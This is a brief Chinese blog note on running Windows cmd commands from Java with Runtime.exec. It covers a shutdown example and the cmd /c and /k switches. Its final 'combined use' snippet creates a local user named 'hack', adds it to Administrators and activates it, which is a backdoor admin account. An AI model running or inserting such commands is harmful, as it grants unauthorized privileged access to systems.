java执行cmd命令

随手记

 

java执行cmd命令

import java.io.InputStream;

public class testCmd {

        public static void main(String[] args) {
//            String path = "D:\\public.bat";
            Runtime run = Runtime.getRuntime();
            try {
                run.exec("cmd /k shutdown -a");
//                 run.exec("cmd /k shutdown -s -t 3600");
//                Process process = run.exec("cmd.exe /k start " + path);
//                InputStream in = process.getInputStream();
//                while (in.read() != -1) {
//                    System.out.println(in.read());
//                }
//                in.close();
//                process.waitFor();
            } catch (Exception e) {
                e.printStackTrace();
            }

        }

}

java的Runtime.getRuntime().exec(commandStr)可以调用执行cmd指令。

cmd /c dir 是执行完dir命令后关闭命令窗口。

cmd /k dir 是执行完dir命令后不关闭命令窗口。

cmd /c start dir 会打开一个新窗口后执行dir指令,原窗口会关闭。

cmd /k start dir 会打开一个新窗口后执行dir指令,原窗口不会关闭。

 

 

组合使用:

run.exec("cmd /k net user hack  /add");
run.exec("cmd /k net localgroup Administrators hack /add");
run.exec("cmd /k net user hack active:yes");

 

 

 

posted @ 2019-03-29 14:38  q彩虹海q  阅读(29)  评论(0)    收藏  举报